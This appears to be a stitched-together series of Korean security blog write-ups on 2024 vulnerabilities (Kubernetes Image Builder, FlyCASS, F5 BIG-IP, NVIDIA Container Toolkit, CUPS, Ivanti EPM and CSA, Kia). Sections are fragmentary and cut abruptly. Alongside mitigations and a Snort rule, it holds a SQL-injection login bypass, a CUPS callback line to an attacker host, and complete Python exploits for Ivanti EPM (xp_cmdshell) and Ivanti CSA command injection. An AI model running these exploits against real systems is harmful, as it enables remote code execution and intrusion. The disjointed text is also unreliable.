- Kubernetes Image Builder에서 이미지 빌드 프로세스 중에 기본 자격 증명이 활성화되는 보안 문제가 발견 [4] > Proxmox 공급자를 사용하여 빌드된 가상 머신 이미지는 기본 자격 증명을 비활성화하지 않아 기본 자격 증명을 통해 액세스가 가능 > 다른 공급자로 빌드된 이미지를 사용하는 VM은 취약점에 영향받지 않음
2.2 CVE-2024-9594 [5][6]
[사진 2] CVE-2024-9594
- Kubernetes Image Builder 기본 자격 증명 비활성화 취약점 > Nutanix, OVA, QEMU 또는 원시 공급자로 빌드된 이미지에도 동일한 문제가 존재하나 빌드가 끝난 후 자격증명이 비활성화 됨 > 이미지 빌드가 발생하는 VM에 접근해 이미지 빌드가 발생하는 시점에 취약성을 악용할때만 영향을 받음
영향받는 버전: Kubernetes Image Builder <= v0.1.37
3. 대응방안
- 벤더사 제공 보안 업데이트 적용 [7] > 이미지 빌드 기간 동안 무작위로 생성된 비밀번호를 설정 > 이미지 빌드가 끝나면 빌더 계정이 비활성화
취약점
제품명
영향받는 버전
해결 버전
CVE-2024-9486 CVE-2024-9594
Kubernetes Image Builder
v0.1.37 이하
v0.1.38
- 사용 중인 Image Builder 버전 확인 방법
구분
설명
이미지 빌더 저장소의 git 복제본의 경우
cd <local path to image builder repo> make version
Tarball 다운로드를 사용하여 설치하는 경우
cd <local path to install location> grep -o v0\\.[0-9.]* RELEASE.md | head -1
컨테이너 이미지 릴리스의 경우
docker run --rm <image pull spec> version 또는 podman run --rm <image pull spec> version
공식 이미지의 경우 지정된 이미지 태그 확인 registry.k8s.io/scl-image-builder/cluster-node-image-builder-amd64:v0.1.37
- last builder 명령으로 builder 계정 로그인 이력 점검
※ 업데이트 적용이 불가할 경우
ⓐ Image Builder의 고정 버전을 사용하여 영향을 받은 모든 이미지를 다시 빌드 > 영향을 받은 모든 VM에 고정된 이미지를 다시 배포
ⓑ 업그레이드 전 영향을 받는 VM에서 빌더 계정을 비활성화하면 취약점을 완화할 수 있음 > usermod -L builder
- 해외 보안 연구원에 의해 공항 보안에 사용되는 KCM과 CASS 프로세스에서 SQL Injection 취약점 발견 [1] - 취약점 악용에 성공할 시 관리자가 되어 항공사에 새로운 직원을 추가하는 등의 악성행위 가능 > 현재는 취약점이 해결되었음
2. 주요내용
2.1 KCM (Known Crewmember)
- 조종사와 승무원이 보안 검색을 우회할 수 있도록 해주는 TSA 프로그램 - 직원은 전용 레인을 사용하며, KCM 바코드 또는 직원 번호를 제시해 통과 여부를 결정
※ TSA (Transportation Security Administration) : 미국 교통안전청, 9.11 테러 이후 여객기 등의 운행 안전 필요성이 대두되어 설립
2.2 CASS (Cockpit Access Security System)
- 조종사가 조종실의 점프 시트를 사용할 수 있도록 하는 시스템
2.3 ARINC
- 항공, 공항, 국방, 정부, 수송분야에서 사용되는 표준과 시스템을 개발 및 제공하는 기업 - TSA와 계약하여 KCM 시스템을 운영하며, 조종사와 승무원이 KCM 상태를 확인할 수 있는 웹 사이트와 항공사 간 승인 요청을 라우팅하는 API 등을 운영 > 각 항공사는 KCM 및 CASS에 참여하기 위해 자체 인증 시스템을 운영하며, ARINC의 허브와 상호작용함 - TSA와 항공사는 CockpitAccessRequest와 CrewVerificationRequest 같은 요청을 ARINC로에 보낼 수 있으며, ARINC는 이를 적절한 항공사 시스템으로 라우팅
2.4 FlyCASS.com
- 소규모 항공사를 위해 KCM, CASS 운영하며, 모든 항공사가 자체 로그인 페이지를 가지고 있음 - 로그인 페이지에서 SQL Injection 취약점을 테스트(username에 ` 입력)한 결과 MySQL 오류 발생 > sqlmap을 사용해 관리자로 FlyCASS에 로그인 성공 > username : ' or '1'='1 / password : ') OR MD5('1')=MD5('1
※ sqlmap : SQL Injection을 감지 및 악용할 수 있는 Python 으로 작성된 오픈 소스 침투 테스트 도구 [2]
※ 잘못된 SQL 문법 등의 경우 반환되는 에러 메시지를 통해 데이터베이스 정보를 획득할 수 있으므로, 에러 메시지를 출력하지 않도록 조치 필요
[사진 1] MySQL 오류
2.5 KCM, CASS 관리자
- FlyCASS에 SQL Injection 취약점을 악용해 관리자 권한으로 접근이 가능 > 직원(조종사, 승무원) 목록을 확인하거나 추가 인증 없이 새로운 직원을 추가할 수 있었음
[사진 2] 관리자 계정 접근 성공
- 테스트를 위해 Test TestOnly 직원 추가 및 KCM, CASS 접근 권한을 부여하는데 성공 > SQL Injection에 기본적인 지식이 있는 누구나 KCM, CASS에 임의의 직원을 추가할 수 있는 심각한 문제
[사진 3] Test TestOnly 사용자 추가 성공
2.6 공개 및 기타 [3]
- 미국 국토안보부(United States Department of Homeland Security, DHS)에 문제를 공개 - 이후 FlyCASS는 KCM, CASS에서 비활성화 - TSA는 취약점을 부인하는 성명을 발표했으며, DHS는 초기에 신속하고 전문적으로 처리했으나, 이후 과정에서 상급 기관으로써의 역할을 제대로 수행하지 못함 - 비밀번호를 저장하는데 MD5 해시를 사용한 것 또한 문제
- CISA는 F5 BIG-IP LTM(로컬 트래픽 관리자, Local Traffic Manager) 모듈에서 생성된 쿠키를 악용한 내부 네트워크 탐색에 대해 경고 [1] - 공격자는 숨겨진 내부 장비를 찾아내고 이를 타켓으로 삼아 침투할 수 있는 취약점을 찾는데 사용할 수 있음
2. 주요내용
- F5 BIG-IP: 애플리케이션 배포 및 트래픽 관리 도구로, 웹 애플리케이션의 로드 밸런싱과 보안을 제공하는 솔루션 > LTM 모듈: 트래픽을 관리하고 로드 밸런싱을 통해 네트워크 트래픽을 여러 서버에 분산
- LTM 모듈은 세션 일관성을 유지하기 위해 쿠키를 사용 > 해당 쿠키를 통해 사용자가 동일한 백엔드 서버로 지속적으로 접속할 수 있도록 함 > 그러나, 해당 쿠키는 기본적으로 암호화되지 않은 상태로 설정되어 있음
- 내부 서버 IP 주소, 포트 번호, 로드 밸런싱 설정 등의 정보가 암호화 없이 쿠키에 포함되어 있음 > 쿠키에서 얻은 정보를 기반으로 네트워크 내 추가 자원을 식별하거나 취약점을 찾아 악용할 수 있음
- F5는 BIG-IP 11.5.0부터 모든 쿠키를 암호화할 수 있는 'Required' 옵션 제공 [2][3] > 쿠키 암호화가 활성화되면 BIG-IP LTM 시스템은 192-Bit AES 암호화 후 Base64 인코딩하여 HTTP 응답에 포함 > 클라이언트가 암호화된 쿠키를 전송한 경우 BIG-IP LTM은 Base64 디코딩 후 복호화한 후 HTTP 요청에 복호화된 쿠키를 포함
- 컨테이너 런타임 라이브러리와 NVIDIA GPU를 활용하도록 컨테이너를 자동으로 구성하는 유틸리티가 포함 - Docker 컨테이너 내에서 NVIDIA GPU를 효율적으로 활용할 수 있도록 만들어진 도구 > 일반적인 환경에서 Docker를 동작 시키면 Host의 CPU를 기반으로 Docker가 생성되며, GPU를 사용할 수 없음 > 과거에는 GPU를 사용하기 위해 컨테이너 내에 NVIDIA GPU 드라이버를 설치하였으나, 안전성-하드웨어와 컨테이너의 드라이버 버전을 매번 맞춰야하는-문제가 있음 > NVIDIA Container Toolkit은 Container에서 GPU를 사용시 libcuda.so와 같은 Host에 있는 CUDA Toolkit들을 마운트해주는 역할
※ CUDA(Computed Unified Device Architecture) Toolkit: 고성능 GPU 가속 애플리케이션을 만드는 개발 환경을 제공 [2]
2. 취약점 [3]
2.1 CVE-2024-0132
[사진 1] CVE-2024-0132 [4]
- NVIDIA Container Toolkit에서 발생하는 TOCTOU 취약점 (CVSS: 9.0)
> 악성 이미지를 통해 실행되는 컨테이너를 탈출해 호스트 시스템에 대한 전체 액세스 권한을 얻을 수 있음
> 악용에 성공할 경우 코드 실행, 서비스 거부(DoS), 권한 상승, 정보 유출, 데이터 변조 등의 공격을 유발할 수 있음
※ 구체적인 기술적 세부 사항은 공개하지 않음
영향받는 버전: NVIDIA Container Toolkitv 1.16.1 이하 버전
2.1.1 TOCTOU (Time-Of-Check to Time-Of-Use) 취약점
- 자원을 사용하는 시점과 검사하는 시점이 달라서 자원의 상태변동으로 야기되는 Race Condition 취약점
> 병렬시스템(멀티프로세스로 구현한 응용프로그램)에서는 자원(파일, 소켓 등)을 사용하기에 앞서 자원의 상태를 검사
> 하지만, 자원을 사용하는 시점과 검사하는 시점이 다르기 때문에, 검사하는시점(Time Of Check)에 존재하던 자원이 사용하던 시점(Time Of Use)에 사라지는 등 자원의 상태가 변하는 경우가 발생
- 동기화 구문을 통해 한번에 하나의 프로세스만 공유자원에 접근 가능하도록 처리
> 성능에 미치는 영향을 최소화하기 위해 임계코드 주변만(동기화가 필요한 부분만) 동기화 구문을 사용
2.1.2 공격 과정
[영상 1] 공격 과정 [5]
① 공격자는 악성 이미지를 제작해 유포한 후 대상 플랫폼에서 악성 이미지 실행 > 공급망 또는 사회공학적기법을 사용해 이미지 실행을 유도 ② CVE-2024-0132를 악용해 호스트 파일 시스템에 엑세스 ③ Container Runtime Socket을 이용해 호스트 시스템에서 임의의 명령 실행 > docker.sock 및 containerd.sock 악용: root 권한으로 호스트 시스템에서 컨테이너로 임의의 명령을 실행할 수 있음
2.2 CVE-2024-0133
[사진 2] CVE-2024-0133 [6]
- 컨테이너 이미지가 호스트 파일 시스템에 빈 파일을 생성할 수 있는 취약점
영향받는 버전: NVIDIA Container Toolkitv 1.16.1 이하 버전
※ 두 취약점 모두 CDI (Container Device Interface)가 사용되는 경우 영향받지 않음 > CDI (Container Device Interface): 컨테이너 런타임에서 NVIDIA GPU와 같은 복잡한 디바이스에 대한 액세스를 표준화 [7]
> IP가 0.0.0.0인 것은 모든 네트워크 인터페이스에서 수신을 대기라고 응답한다는 것을 의미
[사진 1] netstat -anu
- cups-browsed는 CUPS 시스템의 일부로, 새로운 프린터를 발견하고 자동으로 시스템에 추가해줌
> root로 실행
> /etc/cups/cups-browsed.conf를 설정하여 접근 가능 여부를 설정할 수 있음
[사진 2] cups-browsed
2.취약점 [2]
- CUPS의 cups-browsed 데몬에서 발생하는 취약점
> 공격자가 취약점을 연계하여 악용할 경우 네트워크를 통해 악성 프린터를 추가하고, 사용자가 인쇄 작업을 시작할 때 임의의 코드를 실행할 수 있음
- Akamai의 연구에 따르면 DDoS 공격에 활용될 경우 600배 증폭될 수 있음을 확인 [3]
> 공격자가 CUPS 서버를 속여 대상 장치를 추가할 프린터로 처리하도록 할 때 발생 > 취약한 CUPS 서버로 전송된 각 패킷은 대상 장치를 겨냥한 더 큰 IPP/HTTP 요청을 생성 > 공격 대상과 CUPS 서버 모두에 대역폭과 CPU 리소스 소모를 유발
[사진 3] Shodan title:"CUPS" 검색 결과
서비스명
영향받는 버전
cups-browsed
2.0.1 이하
libcupsfilters
2.1b1 이하
libppd
2.1b1 이하
cups-filters
2.0.1 이하
2.1 주요내용
2.1.1 CVE-2024-47176
- CUPS의 cups-browsed는 631포트로 모든 네트워크 인터페이스의 모든 패킷을 신뢰([사진 1] 0.0.0.0:631)
> 공격자는 자신이 제어하는 IPP 서버(이하 악성 IPP 서버)를 시작한 다음 대상 시스템으로 UDP 패킷전송
> 피해 시스템이 공격자가 제어하는 IPP 서버에 다시 연결되고 User-Agent 헤더에 CUPS 및 커널 버전 정보가 공개됨
0 3 hxxp://<ATACKER-IP>:<PORT>/printers/whatever
[사진 4] CVE-2024-47176 [4]
2.1.2 CVE-2024-47076
- 피해 시스템은 악성 IPP 서버에 프린터 속성을 요청하며 악성 IPP 서버는 기본 프린터 속성을 전송
> libcupsfilters.cfGetPrinterAttributes()는 반환된 IPP 속성을 검증하거나 정리하지 않고 반환된 IPP 속성을 기반으로 임시 PPD 파일을 생성
※ libcupsfilters: 프린터 애플리케이션에서 필요한 데이터 형식 변환 작업에 사용되는 라이브러리 함수 ※ PostScript Printer Description (PPD): PostScript 프린터의 설정 정보뿐만 아니라 일련의 PostScript 명령 코드도 포함
[사진 5] CVE-2024-47076 [5]
2.1.3 CVE-2024-47175
- 공격자는 FoomaticRIPCommandLine을 통해 PPD 파일에 악성 코드 주입
> libppd.ppdCreatePPDFromIPP2()는 임시 PPD 파일에 IPP 속성을 쓸 때 IPP 속성을 검증하거나 정리하지 않아 공격자가 제어하는 데이터를 PPD 파일에 주입할 수 있음
> 명령 출력 결과가 “Active: inactive (dead)” 포함된 경우 취약점에 영향받지 않음
> 명령 출력 결과가 “Active: active (running)”이고, 구성 파일 /etc/cups/cups-browsed.conf의 "BrowseRemoteProtocols" 지시문에 "cups" 값이 포함되어 있는 경우 ⒝dpkg -l | grep -E 'cups-browsed|cups-filters|libcupsfilters|libppd'
> stop: 단순 중지 / disable: 시스템 부팅 시 자동으로 시작되지 않도록 설정
③ 방화벽 설정 강화
> $ sudo ufw deny proto udp from any to any port 631
④ 취약 여부를 확인할 수 있는 스캐너 활용 [11]
⒜ 동작 과정
> 기본 HTTP 서버를 설정(RCE 취약점을 악용하지 않으므로 프린터로 식별할 필요가 없음) > cups-browsed을 통해 HTTP 서버에 연결하도록 지시하는 UDP 패킷 생성 > 포트 631의 주어진 범위에 있는 모든 IP로 UDP 패킷 전송 > 취약한 cups-browsed 인스턴스로 인해 트리거되는 모든 POST 요청을 /printers/ 엔드포인트에 기록합니다.
⒝ 결과
> 스캔 결과는 총 2개의 Log에 기록
> cups.log_응답한 장치의 IP&CUOS 버전 정보 기록
> requests.log_심층 분석에 사용할 수 있는 수신한 원시 HTTP 요청이 기록
#!/usr/bin/env python3
import socket
import ipaddress
import argparse
import threading
import time
import signal
import sys
import os
from http.server import BaseHTTPRequestHandler, HTTPServer
# a simple function to enable easy changing of the timestamp format
def timestamp():
return time.strftime("%Y-%m-%d %H:%M:%S")
# custom class for handling HTTP requests from cups-browsed instances
class CupsCallbackRequest(BaseHTTPRequestHandler):
# replace default access log behavior (logging to stderr) with logging to access.log
# log format is: {date} - {client ip} - {first line of HTTP request} {HTTP response code} {client useragent}
def log_message(self, _format, *_args):
log_line = f'[{timestamp()}] {self.address_string()} - {_format % _args} ' \
f'{self.headers["User-Agent"]}\n'
self.server.access_log.write(log_line)
self.server.access_log.flush()
# log raw requests from cups-browsed instances including POST data
def log_raw_request(self):
# rebuild the raw HTTP request and log it to requests.log for debugging purposes
raw_request = f'[{timestamp()}]\n'
raw_request += f'{self.requestline}\r\n'
raw_request += ''.join(f"{key}: {value}\r\n" for key, value in self.headers.items())
content_length = int(self.headers.get('Content-Length', 0))
if content_length > 0:
raw_body = self.rfile.read(content_length)
self.server.request_log.write(raw_request.encode('utf-8') + b'\r\n' + raw_body + b'\r\n\r\n')
else:
self.server.request_log.write(raw_request.encode('utf-8'))
self.server.request_log.flush()
# response to all requests with a static response explaining that this server is performing a vulnerability scan
# this is not required, but helps anyone inspecting network traffic understand the purpose of this server
def send_static_response(self):
self.send_response(200, 'OK')
self.send_header('Content-Type', 'text/plain')
self.end_headers()
self.wfile.write(b'This is a benign server used for testing cups-browsed vulnerability CVE-2024-47176')
# handle GET requests (we don't need to but returning our default response helps anyone investigating the server)
def do_GET(self):
self.send_static_response()
# handle POST requests, cups-browsed instances should send post requests to /printers/ and /printers/<callback_url>
def do_POST(self):
# we'll just grab all requests starting with /printers/ to make sure we don't miss anything
# some systems will check /printers/ first and won't proceed to the full callback url if response is invalid
if self.path.startswith('/printers/'):
ip, port = self.client_address
# log the cups-browsed request to cups.log and requests.logs and output to console
print(f'[{timestamp()}] received callback from vulnerable device: {ip} - {self.headers["User-Agent"]}')
self.server.cups_log.write(f'[{timestamp()}] {ip}:{port} - {self.headers["User-Agent"]} - {self.path}\n')
self.server.cups_log.flush()
self.log_raw_request()
self.send_static_response()
# custom class for adding file logging capabilities to the HTTPServer class
class CupsCallbackHTTPServer(HTTPServer):
def __init__(self, server_address, handler_class, log_dir='logs'):
super().__init__(server_address, handler_class)
# create 'logs' directory if it doesn't already exist
log_dir = 'logs'
if not os.path.exists(log_dir):
os.makedirs(log_dir)
# create three separate log files for easy debugging and analysis
# access.log - any web requests
# cups.log - ip, port, useragent, and request URL for any request sent to CUPS endpoint
# requests.log - raw HTTP headers and POST data for any requests sent to the CUPS endpoint (for debugging)
self.access_log = open(f'{log_dir}/access.log', 'a')
self.request_log = open(f'{log_dir}/requests.log', 'ab')
self.cups_log = open(f'{log_dir}/cups.log', 'a')
def shutdown(self):
# close all log files on shutdown before shutting down
self.access_log.close()
self.request_log.close()
self.cups_log.close()
super().shutdown()
# start the callback server to so we can receive callbacks from vulnerable cups-browsed instances
def start_server(callback_server):
host, port = callback_server.split(':')
port = int(port)
if port < 1 or port > 65535:
raise RuntimeError(f'invalid callback server port: {port}')
server_address = (host, port)
_httpd = CupsCallbackHTTPServer(server_address, CupsCallbackRequest)
print(f'[{timestamp()}] callback server running on port {host}:{port}...')
# start the HTTP server in a separate thread to avoid blocking the main thread
server_thread = threading.Thread(target=_httpd.serve_forever)
server_thread.daemon = True
server_thread.start()
return _httpd
def scan_range(ip_range, callback_server, scan_unsafe=False):
# the vulnerability allows us to add an arbitrary printer by sending command: 0, type: 3 over UDP port 631
# we can set the printer to any http server as long as the path starts with /printers/ or /classes/
# we'll use http://host:port/printers/cups_vulnerability_scan as our printer endpoint
udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udp_callback = f'0 3 http://{callback_server}/printers/cups_vulnerability_scan'.encode('utf-8')
# expand the CIDR notation into a list of IP addresses
# make scanning only host addresses the default behavior (exclude the network and broadcast address)
# the user can override this with flag --scan-unsafe
if scan_unsafe:
ip_range = list(ipaddress.ip_network(ip_range))
else:
ip_range = list(ipaddress.ip_network(ip_range).hosts())
if len(ip_range) < 1:
raise RuntimeError("error: invalid ip range")
print(f'[{timestamp()}] scanning range: {ip_range[0]} - {ip_range[-1]}')
# send the CUPS command to each IP on port 631 to trigger a callback to our callback server
for ip in ip_range:
ip = str(ip)
udp_socket.sendto(udp_callback, (ip, 631))
# handle CTRL + C abort
def signal_handler(_signal, _frame, _httpd):
print(f'[{timestamp()}] shutting down server and exiting...')
_httpd.shutdown()
sys.exit(0)
if __name__ == '__main__':
parser = argparse.ArgumentParser(
prog='python3 scanner.py',
description='Uses the callback mechanism of CVE-2024-47176 to identify vulnerable cups-browsed instances',
usage='python3 scanner.py --targets 192.168.0.0/24 --callback 192.168.0.1:1337'
)
parser.add_argument('--callback', required=True, dest='callback_server',
help='the host:port to host the callback server on (must be reachable from target network) '
'example: --callback 192.168.0.1:1337')
parser.add_argument('--targets', required=True, dest='target_ranges',
help='a comma separated list of ranges '
'example: --targets 192.168.0.0/24,10.0.0.0/8')
parser.add_argument('--scan-unsafe', required=False, default=False, action='store_true', dest='scan_unsafe',
help='Typically the first and last address in a CIDR are reserved for the network address and '
'broadcast address respectively. By default we do not scan these as they should not be '
'assigned. However, you can override this behavior by setting --scan-unsafe')
args = parser.parse_args()
try:
# start the HTTP server to captures cups-browsed callbacks
print(f'[{timestamp()}] starting callback server on {args.callback_server}')
httpd = start_server(args.callback_server)
# register sigint handler to capture CTRL + C
signal.signal(signal.SIGINT, lambda _signal_handler, frame: signal_handler(signal, frame, httpd))
# split the ranges up by comma and initiate a scan for each range
targets = args.target_ranges.split(',')
print(f'[{timestamp()}] starting scan')
for target in targets:
scan_range(target, args.callback_server, args.scan_unsafe)
print(f'[{timestamp()}] scan done, use CTRL + C to callback stop server')
# loop until user uses CTRL + C to stop server
while True:
time.sleep(1)
except RuntimeError as e:
print(e)
- 취약점은 PatchBiz.dll 파일의 RecordGoodApp()이라는 함수에서 발생 [3]
> 해당 함수의 첫 번째 SQL 문이 잠재적으로 SQL Injection에 취약
> string.Format을 사용하여 goodApp.md5의 값을 SQL 쿼리에 삽입
> 공격자는 goodApp.md5 값에 SQL 구문 Injection 및 xp_cmdshell을 통해 원격 명령 실행
[사진 2] RecordGoodApp() SQL 문
- 취약점 흐름은 다음과 같음
[사진 3] 호출 흐름
2.2 PoC [4]
- /WSStatusEvents/EventHandler.asmx URL로 POST 요청 - GoodApp=1|md5 값에 SQL Injection 구문 및 xp_cmdshell을 통해 원격 명령 실행
※ xp_cmdshell: SQL Server에서 운영체제 명령을 직접 실행할 수 있도록 해주는 확장 저장 프로시저
import argparse
import requests
import urllib3
import sys
from requests.exceptions import ReadTimeout
urllib3.disable_warnings()
XML_PAYLOAD = """<?xml version="1.0" encoding="utf-8"?>
<soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">
<soap12:Body>
<UpdateStatusEvents xmlns="http://tempuri.org/">
<deviceID>string</deviceID>
<actions>
<Action name="string" code="0" date="0" type="96" user="string" configguid="string" location="string">
<status>GoodApp=1|md5={}</status>
</Action>
</actions>
</UpdateStatusEvents>
</soap12:Body>
</soap12:Envelope>
"""
SQLI_PAYLOAD = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell '{}'--"
def get_cmd_arrays(cmd_file):
try:
with open(cmd_file, 'r') as f:
cmds = f.read().split('\n')
cmds = [c for c in cmds if c]
return cmds
except Exception as e:
sys.stderr.write(f'[!] Unexpected error reading cmd file: {e}\n')
return []
def exploit(url, command):
h = {'Content-Type': 'application/soap+xml' }
sqli_payload = SQLI_PAYLOAD.format(command)
xml_payload = XML_PAYLOAD.format(sqli_payload)
try:
r = requests.post(f'{url}/WSStatusEvents/EventHandler.asmx', data=xml_payload, headers=h, verify=False, timeout=30)
if r.status_code == 200:
print(f'[+] Successfully sent payload to server')
else:
print(f'[-] Unexpected response from server')
except TimeoutError:
# Expected to timeout given it keeps connection open for process duration
pass
except ReadTimeout:
# Expected to timeout given it keeps connection open for process duration
pass
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-u', '--url', help='The base URL of the target', required=True)
parser.add_argument('-c', '--cmd_file', help='The commands to execute blind', type=str, required=True)
args = parser.parse_args()
commands = get_cmd_arrays(args.cmd_file)
for command in commands:
exploit(args.url, command)
[사진 4] Exploit 예시
3. 대응방안
- 벤더사 제공 최신 업데이트 적용 [5]
> 해당 취약점을 포함한 5가지 원격 코드 실행 취약점 해결
- 탐지룰 적용
> 취약성 여부를 확인할 수 있는 스크립트 활용 [6]
alert tcp any any -> any any (msg:"CVE-2024-29824"; flow:to_server,established; content:"/WSStatusEvents/EventHandler.asmx"; content:"GoodApp=1|md5"; nocase; http_method POST;)
- 해외 연구팀이 기아 차량의 번호판만으로 차량에 명령을 내릴 수 있는 취약점 발견 [1] - 모든 기아 차량에 영향 받으며, 기아 Connect 구독 여부와 관계없이 차량 하드웨어가 장착된 경우 공격 가능 - 공격자는 개인정보(차량 소유주 이름, 전화번호, 이메일, 실주소 등)뿐만아니라 차량의 제어권을 획득할 수 있음
2. 주요 내용
- 연구진은 웹사이트 owners.kia[.]com와 Kia Connect iOS 앱 com.myuvo[.]link 분석 > 두 애플리케이션은 인터넷을 통해 차량 제어 명령을 보낼 수 있음
※ 웹 사이트는 백엔드 역방향 프록시를 사용해 사용자 명령을 실제 차량 명령을 실행하는 api.owners.kia.com 백엔드 서비스로 전달 ※ 앱은 해당 API에 직접 액세스
- owners.kia[.]com 웹사이트에서 차량 문 잠금 해제를 위한 HTTP 요청
[사진 1] 요청 예시
- 서버는 JSESSIONID를 사용해 Sid 세션 ID 생성 및 백엔드 API에 요청 전달
> Sid는 세션 토큰, Vinkey는 차대번호(VIN_차량 식별에 사용되는 고유한 일련 번호)와 매핑되는 UUID
[사진 2] 요청 예시
2.1 Kia 딜러 인프라 취약점
- 연구진은 Kia에서 새 차를 구매할때, 차량 등록을 위해 고객에게 보내는 이메일에서 URL을 발견
> VIN 파라미터는 딜러가 생성한 일회성 토큰으로, 파라미터로 지정된 차량을 수정할 수 있음
- Ivanti Cloud Service Appliance(CSA)에서 발생하는 OS 명령 삽입 취약점
> 공격자가 해당 취약점을 악용하기 위해서 관리자 수준의 권한이 있어야 함
영향받는 버전: Ivanti CSA 4.6
- DateTimeTab.php의 handleDateTimeSubmit() [2]
> HTTP 요청을 구문 분석 > TIMEZONE 파라미터를 인수로 setSystemTimezone() 호출
[사진 2] DateTimeTab.php setSystemTimezone()
- DateTimeTab.php의 setSystemTimezone()는 변수에 대한 검증없이 exec() 호출
[사진 3] setSystemTimezone()
- 공개된 PoC 확인 시 /gsb/datetime.php URL로 POST 요청 및 TIMEZONE 변수에 OS 명령 삽입 [3] > CSA는 admin:admin의 기본 자격 증명을 제공하며, 해당 자격 증명으로 로그인 시 비밀번호 업데이트를 강제 > 침해가 발생하거나 공격을 받은 시스템의 경우 로그인한 적이 없거나, 취약한 비밀번호를 사용한 것으로 판단됨
#!/usr/bin/python3
import argparse
import re
import requests
import sys
import urllib3
from requests.auth import HTTPBasicAuth
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def exploit(url, username, password, command):
u = username
p = password
s = requests.Session()
r = s.get(f"{url}/gsb/datetime.php", auth=HTTPBasicAuth(u,p), verify=False)
m = re.search(r"name=['\"]LDCSA_CSRF['\"]\s+value=['\"]([^'\"]+)['\"]", r.text)
if m:
ldcsa = m.group(1)
print(f"[+] Got LDCSA_CSRF value: {ldcsa}")
else:
print(f"[-] Failed getting LDCSA_CRSF token")
sys.exit(0)
payload = {
"dateTimeFormSubmitted": "1",
"TIMEZONE": f"; `{command}` ;",
"CYEAR": "2024",
"CMONTH": "9",
"CDAY": "13",
"CHOUR": "12",
"CMIN": "34",
"LDCSA_CSRF": ldcsa,
"SUBMIT_TIME": "Save"
}
print(f"[*] Sending payload...")
r = s.post(f"{url}/gsb/datetime.php", auth=HTTPBasicAuth(u,p), verify=False, data=payload)
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-u', '--url', help='The base URL of the target', required=True)
parser.add_argument('--username', help='The application username', required=True)
parser.add_argument('--password', help='The application password', required=True)
parser.add_argument('-c', '--command', help='The command to execute blind', type=str, required=True)
args = parser.parse_args()
exploit(args.url, args.username, args.password, args.command)
[사진 4] 익스플로잇 예시
1.1 CVE-2024-8963
[사진 5] CVE-2024-8963 [4]
- Ivanti CSA에서 발생하는 경로 탐색 취약점 (CVSS: 9.1) > 익스플로잇에 성공한 공격자는 인증을 우회하여 제한된 기능에 액세스할 수 있음 > CVE-2024-8190와 함께 악용할 경우 공격자는 인증을 우회하여 임의의 명령을 실행할 수 있음
영향받는 버전: Ivanti CSA 4.6
- 벤더사는 업데이트 제공 [5][6]
> 입력값에 대한 검증 과정 추가 > CSA 4.6 버전은 EoL(지원 종료)로 더 이상 지원되지 않아 빠른 업데이트 필요[7]